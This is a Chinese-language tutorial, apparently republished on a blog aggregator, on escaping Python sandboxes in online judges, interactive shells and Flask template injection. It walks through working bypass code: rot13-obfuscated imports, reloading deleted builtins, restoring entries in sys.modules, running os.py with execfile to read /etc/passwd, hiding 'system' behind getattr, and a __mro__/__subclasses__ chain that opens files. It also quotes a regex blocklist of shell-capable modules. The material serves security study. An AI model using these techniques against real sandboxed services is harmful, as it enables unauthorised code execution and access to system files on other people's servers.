Python的沙箱逃逸是一些OJ,Quantor網(wǎng)站滲透測試的重要渠道,本篇文章主要從一些語言特性和一些技巧上來講解python的一些元知識以及如何突破限制達到我們滲透的目的

0x00 python沙箱逃逸概述

沙箱逃逸,就是在給我們的一個代碼執(zhí)行環(huán)境下(Oj或使用socat生成的交互式終端),脫離種種過濾和限制,最終成功拿到shell權限的過程

對于python的沙箱逃逸而言,我們來實現(xiàn)目的的最終想法有以下幾個

使用os包中的popen,system兩個函數(shù)來直接執(zhí)行shell

使用commands模塊中的方法

使用subprocess

使用寫文件到指定位置,再使用其他輔助手段

總體來說,我們使用以下幾個函數(shù),就可以直接愉快的拿到shell啦!

import os

import subprocess

import commands

# 直接輸入shell命令,以ifconfig舉例

os.system('ifconfig')

os.popen('ifconfig')

commands.getoutput('ifconfig')

commands.getstatusoutput('ifconfig')

subprocess.call(['ifconfig'],shell=True)

但是,可以確定的是,防御者是不會這么輕易的讓我們直接拿到shell的,肯定會有各種過濾,對代碼進行各種各樣的檢查,來阻止可能的進攻

防御者會怎么做呢

0x01 import相關的基礎

對于防御者來說,最基礎的思路,就是對代碼的內容進行檢查

最常見的方法呢,就是禁止引入敏感的包

import re

code = open('code.py').read()

pattern = re.compile('import\s+(os|commands|subprocess|sys)')

match = re.search(pattern,code)

if match:

print "forbidden module import detected"

raise Exception

用以上的幾行代碼,就可以簡單的完成對于敏感的包的檢測

我們知道,要執(zhí)行shell命令,必須引入 os/commands/subprocess這幾個包,

對于攻擊者來說,改如何繞過呢,必須使用其他的引入方式

import 關鍵字

__import__函數(shù)

importlib庫

import 是一個關鍵字,因此,包的名字是直接以 'tag'(標記)的方式引入的,但是對于函數(shù)和包來說,引入的包的名字就是他們的參數(shù),也就是說,將會以字符串的方式引入

我們可以對原始關鍵字做出種種處理來bypass掉源碼掃描

以__import__函數(shù)舉例

f3ck = __import__("pbzznaqf".decode('rot_13'))

print f3ck.getoutput('ifconfig')

enp9s0: flags=4099 mtu 1500

ether f0:xx:1c:xx:xx:71 txqueuelen 1000 (Ethernet)

RX packets 0 bytes 0 (0.0 B)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 0 bytes 0 (0.0 B)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73 mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x10

loop txqueuelen 1 (Local Loopback)

RX packets 822 bytes 735401 (718.1 KiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 822 bytes 735401 (718.1 KiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

可以看到,成功的執(zhí)行了命令

或者使用importlib 這一個庫

import importlib

f3ck = importlib.import_module("pbzznaqf".decode('rot_13')

print f3ck.getoutput('ifconfig')

將獲得同樣的效果

0x02 import進階

在python中,我們知道,不用引入直接使用的內置函數(shù)稱為 builtin 函數(shù),隨著__builtin__這一個module 自動被引入到環(huán)境中

(在python3.x 版本中,__builtin__變成了builtins,而且需要引入)

因此,open(),int(),chr()這些函數(shù),就相當于

__builtin__.open()

__builtin__.int()

__builtin__.chr()

如果我們把這些函數(shù)從__builtin__中刪除,那么就不能夠再直接使用了

In [6]: del __builtin__.chr

In [7]: chr(1)

---------------------------------------------------------------------------

NameError Traceback (most recent call last)

in ()

----> 1 chr(1)

NameError: name 'chr' is not defined

同樣,剛才的__import__函數(shù),同樣也是一個builtin函數(shù),同樣,常用的危險函數(shù)eval,exec,execfile也是__builtin__的,因此只要從__builtin__中刪除這些東西,那么就不能再去使用了

但是攻擊者豈能善罷甘休,必然會找出各種繞過的方式,這種防御,我們該如何去繞過呢?

我們知道,__builtin__是一個默認引入的module

對于模塊,有一個函數(shù)reload用于重新從文件系統(tǒng)中的代碼來載入模塊

因此我們只需要

reload(__builtin__)

就可以重新得到完整的__builtin__模塊了

**但是,reload也是__builtin__下面的函數(shù),如果直接把它干掉,就沒辦法重新引入了

In [8]: del __builtin__.reload

In [9]: reload

---------------------------------------------------------------------------

NameError Traceback (most recent call last)

in ()

----> 1 reload

NameError: name 'reload' is not defined

這個時候,我們該怎么呢

在python中,有一個模塊叫做imp,是有關引入的一個模塊

我們可以使用

import imp

imp.reload(__builtin__)

然后我們就會重新得到完整的__builtin__模塊了

0x03 import高級

前面的一些防護和攻擊,都是針對 引入函數(shù)進行的，然而，徹底想想這個關于import的問題，我們能引入進來一個包，說明這個包已經預先在一個位置了，所以我們才能引入進來，否則就會像沒有安裝這個包的時候，報一個未找到的錯誤

如果我們從某個地方徹底把這個包刪除，那就可以禁止了引入

那么，包的內容被存放在哪里呢？

我們知道，通過pip安裝的package都會被放在以下幾個路徑之一,以2.7為例

/usr/local/lib/python2.7/dist-packages

/usr/local/lib/python2.7/site-packages

~/.local/lib/python2.7/site-packages

一般系統(tǒng)相關的包都在sys下,環(huán)境變量或者說系統(tǒng)路徑肯定也是在下面.

我們可以看到sys下面有一個list叫做path,查看里面的內容,果然是默認路徑

In [8]: sys.path

Out[8]:

['',

'/usr/local/bin',

'/usr/lib/python2.7',

'/usr/lib/python2.7/plat-x86_64-linux-gnu',

'/usr/lib/python2.7/lib-tk',

'/usr/lib/python2.7/lib-old',

'/usr/lib/python2.7/lib-dynload',

'/home/centurio/.local/lib/python2.7/site-packages',

'/usr/local/lib/python2.7/dist-packages',

'/usr/lib/python2.7/dist-packages',

'/usr/lib/python2.7/dist-packages/gtk-2.0',

'/usr/lib/python2.7/dist-packages/IPython/extensions']

我們還可以看到,sys下面有一個modules,看一下這個

{'copy_reg': , 'sre_compile': , '_sre': , 'encodings': , 'site': , '__builtin__': , 'sysconfig': , 'encodings.encodings': None, '__main__': , 'ruamel': , 'abc': , 'posixpath': , '_weakrefset': , 'errno': , 'encodings.codecs': None, 'sre_constants': , 're': , '_abcoll': , 'types': , '_codecs': , 'encodings.__builtin__': None, '_warnings': , 'genericpath': , 'stat': , 'zipimport': , '_sysconfigdata': , 'mpl_toolkits': , 'warnings': , 'UserDict': , 'encodings.utf_8': , 'sys': , 'codecs': , 'readline': , '_sysconfigdata_nd': , 'os.path': , 'phply': , '_locale': , 'sitecustomize': , 'signal': , 'traceback': , 'linecache': , 'posix': , 'encodings.aliases': , 'exceptions': , 'sre_parse': , 'os': , '_weakref': }

果然,這個就是我們要找的東西了,接下來,我們對sys.modules做一些改動,看看還能否引入

>>> sys.modules['os']=None

>>> import os

Traceback (most recent call last):

File "", line 1, in

ImportError: No module named os

>>> __import__('os')

Traceback (most recent call last):

File "", line 1, in

ImportError: No module named os

>>> import importlib

>>> importlib.import_module('os')

Traceback (most recent call last):

File "", line 1, in

File "importlib/__init__.py", line 37, in import_module

__import__(name)

ImportError: No module named os

果然如我們所料,將os從sys.modules中刪掉之后,就不能再引入了

那攻擊者該如何應對呢?

Python import 的步驟

python 所有加載的模塊信息都存放在 sys.modules 結構中，當 import 一個模塊時，會按如下步驟來進行

如果是 import A，檢查 sys.modules 中是否已經有 A，如果有則不加載，如果沒有則為 A 創(chuàng)建 module 對象，并加載 A

如果是 from A import B，先為 A 創(chuàng)建 module 對象，再解析A，從中尋找B并填充到 A 的 dict 中

見招拆招,你刪掉了,我加回來就是了,如果sys.modules中不存在,那么會自動加載,我們把路徑字符串放進去試一試?

在所有的類unix系統(tǒng)中,Python的os模塊的路徑幾乎都是/usr/lib/python2.7/os.py中

>>> import sys

>>> sys.modules['os']='/usr/lib/python2.7/os.py'

>>> import os

>>>

果然,我們親愛的os又回來了!

0x04 有關 import 的更騷的操作

對于0x03中的繞過方法,防御者有什么辦法呢

添加module的過程中,是需要用到sys模塊的 ,如果我們把sys,os,reload全部干掉,那就無論如何也再無法引入了

這個時候,還有辦法bypass掉防御嗎?

有的!

我們知道,引入模塊的過程,其實總體來說就是把對應模塊的代碼執(zhí)行一遍的過程

禁止了引入,我們還是可以執(zhí)行的,我們知道了對應的路徑,我們就可以執(zhí)行相應的代碼

嘗試一下:

>>> execfile('/usr/lib/python2.7/os.py')

>>> system('cat /etc/passwd')

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

...

>>> getcwd()

'/usr/lib/python2.7'

可以看到,成功了!

os的所有函數(shù)都被直接引入到了環(huán)境中,直接執(zhí)行就可以了

如果execfile函數(shù)被禁止,那么還可以使用文件操作打開相應文件然后讀入,使用exec來執(zhí)行代碼就可以

還有防御的辦法嗎?

如果防御者一不做二不休直接從文件系統(tǒng)中把相應的包的代碼刪掉,那無論如何既不能引入也不能執(zhí)行了

然而,對于其他模塊,我們還可以手動復制代碼直接執(zhí)行,但是對于類似于 os,sys這樣的模塊,使用了c模塊,使用posix或者nt module來實現(xiàn),而不是純python代碼,那就沒有太多的辦法了

但是總體來說,直接從文件系統(tǒng)中干掉這些關鍵的包是一個很危險的行為,可能導致依賴于這些包的其他包的崩潰,而事實上,大量的模組都使用了類似于 os,sys這些模塊,因此,是需要非常謹慎的.

0x05 dir 與 __dict__

這兩種方法都是一個目的,那就是列出一個模組/類/對象 下面 所有的屬性和函數(shù)

這在沙盒逃逸中是很有用的,可以找到隱藏在其中的一些東西

>>> A.__dict__

mappingproxy({'b': 'asdas', '__dict__': , 'a': 1, '__doc__': None, '__weakref__': , 'c': , '__module__': '__main__'})

>>> dir(A)

['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'a', 'b', 'c']

0x05 關于字符串掃描過濾的通用繞過方法

如果過濾的內容是一個dict的key,我們可以用字符串操作,先把他rot13或者base64或者單純的reverse一下再進去就可以,舉個例子

# 假設要讀取 a的time屬性 : a['time'] ,但是代碼中的time字符串全部被過濾了

s = "emit"

s = s [::-1]

print a[s]

即可

但是 ,如果不是鍵的字符串被過濾了,而是一個關鍵字或者函數(shù)被過濾了呢,比如說,我們已經通過上面的手法,引入了os包,但是代碼掃描之中,遇到system或者popen的就直接過濾了,這時候該怎么辦呢 關鍵詞和函數(shù)沒有辦法直接用字符串相關的編碼或者解密操作,那么.該怎么辦呢?

這個時候,就可以利用一個很特殊的函數(shù):getattr

這個函數(shù)接受兩個參數(shù),一個模組或者對象,第二個是一個字符串,該函數(shù)會在模組或者對象下面的域內搜索有沒有對應的函數(shù)或者屬性

>>> import codecs

>>> getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')

enp9s0: flags=4099 mtu 1500

ether xx:xx:xx:xx:xx:xx txqueuelen 1000 (Ethernet)

RX packets 168876 bytes 213748060 (203.8 MiB)

RX errors 0 dropped 538 overruns 0 frame 0

TX packets 126938 bytes 14769612 (14.0 MiB)

TX errors 0 dropped 1 overruns 0 carrier 0 collisions 0

lo: flags=73 mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x10

loop txqueuelen 1 (Local Loopback)

RX packets 38391 bytes 17726297 (16.9 MiB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 38391 bytes 17726297 (16.9 MiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

0x06 獲得本域或者模塊的引用和全部內容

在上面的一個例子中,引入sys然后從sys.modules中清除敏感包的時候,如果沒有做善后工作,很可能就讓sys,os或者其他的敏感信息作為一個模塊留在了當前域的環(huán)境變量中,也可能有其他的東西,但我們去如何發(fā)現(xiàn)這些東西呢?

我們可以利用dir或者dict屬性去獲得一個模塊,類的所有屬性,但是當前環(huán)境的已定義的函數(shù)又從哪找呢

我們知道,使用python直接執(zhí)行的模塊是__main__模塊,使用__name__屬性也可以知道(if __name__ == __main__')，但是__name__中獲得的只是一個字符串,并不是一個模塊的引用，那么我們從哪去找本模塊的引用呢？

注意，本模塊，它也是一個模塊，因此想到我們的老朋友sys.modules

可以通過sys.modules[__name__]

>>> main_module = sys.modules[__name__]

>>> dir(main_module)

['A', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'codecs', 'fuck', 'inspect', 'main_module', 'os', 'reprlib', 'sys', 'this']

可以看到已定義的全部的函數(shù)和變量,已經引入的模塊和類

0x07 func_code 相關

一個系統(tǒng)中的包(自帶的和通過pip,ea可以使用easy_install安裝的),可以使用inspect模塊中的方法可以獲取其源碼

但是,如果是項目中的函數(shù),一旦加載到了內存之中,就不再以源碼的形式存在了,而是以字節(jié)碼的形式存在了,如果我們想要知道這些函數(shù)中的一些細節(jié)怎么辦呢?這個時候就需要用到函數(shù)中的一個特殊屬性:func_code

(其實,函數(shù)中有很多以func_ 開頭的屬性,都有著奇妙的用處,在此處就不過多介紹了)

In [21]: def f3ck(asd):

...: a = 1

...: b = "asdasd"

...: c= ["asd",1,None,{'1':2}]

...:

In [22]: f3ck.func_code

Out[22]: ", line 1>

我們定義了一個函數(shù),然后查看它的func_code屬性,發(fā)現(xiàn) 它的類型是 code object ,也就是代碼對象

這個對象中有什么呢

In [23]: dir(f3ck.func_code)

Out[23]:

['__class__', '__cmp__', '__delattr__','__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__','__le__','__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__','__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount','co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno','co_flags','co_freevars', 'co_lnotab','co_name', 'co_names', 'co_nlocals','co_stacksize', 'co_varnames']

其中

In [24]: f3ck.func_code.co_argcount

Out[24]: 1

In [26]: f3ck.func_code.co_consts

Out[26]: (None, 1, 'asdasd', 'asd', 2, '1')

可以看到,函數(shù)中直接賦值的變量都在 co_consts屬性中

而co_code中則是python bytecode

使用dis.dis可以將co_code中的字節(jié)碼轉化成可閱讀的匯編格式字節(jié)碼,

In [30]: import dis

In [31]: dis.dis(f3ck.func_code.co_code)

0 LOAD_CONST 1 (1)

3 STORE_FAST 1 (1)

6 LOAD_CONST 2 (2)

9 STORE_FAST 2 (2)

12 LOAD_CONST 3 (3)

15 LOAD_CONST 1 (1)

18 LOAD_CONST 0 (0)

21 BUILD_MAP 1

24 LOAD_CONST 4 (4)

27 LOAD_CONST 5 (5)

30 STORE_MAP

31 BUILD_LIST 4

34 STORE_FAST 3 (3)

37 LOAD_CONST 0 (0)

40 RETURN_VALUE

至于閱讀python字節(jié)碼,那又是一個大坑了0.0,再次不多提,只是說一下它的獲取途徑

0x08 mro相關的操作

mro是什么呢?

首先,我們要理解python的繼承機制,與java等語言不同,python允許多重繼承,也就是有多個父類

mro方法就是這個類型所繼承的父類的列表

In [52]: 1..__class__.__mro__

Out[52]: (float, object)

In [53]: "".__class__.__mro__

Out[53]: (str, basestring, object)

(注意是類型,而不是類型的實例)

通過這種方法,我們可以得到一些類型的對象,這個對于一些限制極嚴的情況下有很大的用處,

比如說open以及其他文件操作的函數(shù)和類型被過濾了的情況下我們可以使用如下的方法來打開文件

"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

比如說jinja2的模板中,環(huán)境變量中的很多builtin的類型是沒有的,就可以用綁定的變量的mro特性做很多事情

0x08 有關python中的偽Private屬性和函數(shù)

在java,c++等其他一些面向對象的語言中,有著嚴格的訪問權限控制,Private函數(shù)是不可能在域外訪問的.

python中也有著類似的機制:

在一個類中,以雙下劃線開頭的函數(shù)和屬性是Private的,但是這種Private并不是真正的,而只是形式上的,用于告訴程序員,這個函數(shù)不應該在本類之外的地方進行訪問,而是否遵守則取決于程序員的實現(xiàn)

In [85]: class A():

...: __a = 1

...: b = 2

...: def __c(self):

...: print "asd"

...: def d(self):

...: print 'dsa'

...:

In [86]: A

Out[86]:

In [87]: dir(A)

Out[87]: ['_A__a', '_A__c', '__doc__', '__module__', 'b', 'd']

我們定義了一個private 屬性和一個private的函數(shù),從dir的結果,可以看出來,公有的函數(shù)和屬性,使用其名字直接進行訪問,而私有的屬性和函數(shù),使用 下劃線+類名+函數(shù)名訪問即可

0x09 常見的實戰(zhàn)應用場景

直接的代碼環(huán)境

常見的就是各種提供在線代碼運行的網(wǎng)站,還有一些虛擬環(huán)境,以及一些編程練習網(wǎng)站,這種來說一般過濾較少,很容易滲透,但是getshell之后會相當麻煩,大多數(shù)情況下這類網(wǎng)站的虛擬機不僅與物理系統(tǒng)做了隔離還刪除了很多內網(wǎng)滲透時實用的工具比如ifconfig之類的,后滲透工作相當?shù)馁M工夫

提供的python交互式shell

這種情況較為少見,但是總體來說根據(jù)業(yè)務場景的不同一般會做很多的限制,但總體來說還是比較容易突破防御的

SSTI

SSTI的情況下,模板的解析就是在一個被限制的環(huán)境中的

在flask框架動態(tài)拼接模板的時候,使用沙盒逃逸是及其致命的,flask一般直接部署在物理機器上面,getshell可以拿到很大的權限.

總結

以上是生活随笔為你收集整理的python安装报错ox000007b_Python沙箱逃逸的n种姿势的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內容還不錯，歡迎將生活随笔推薦給好友。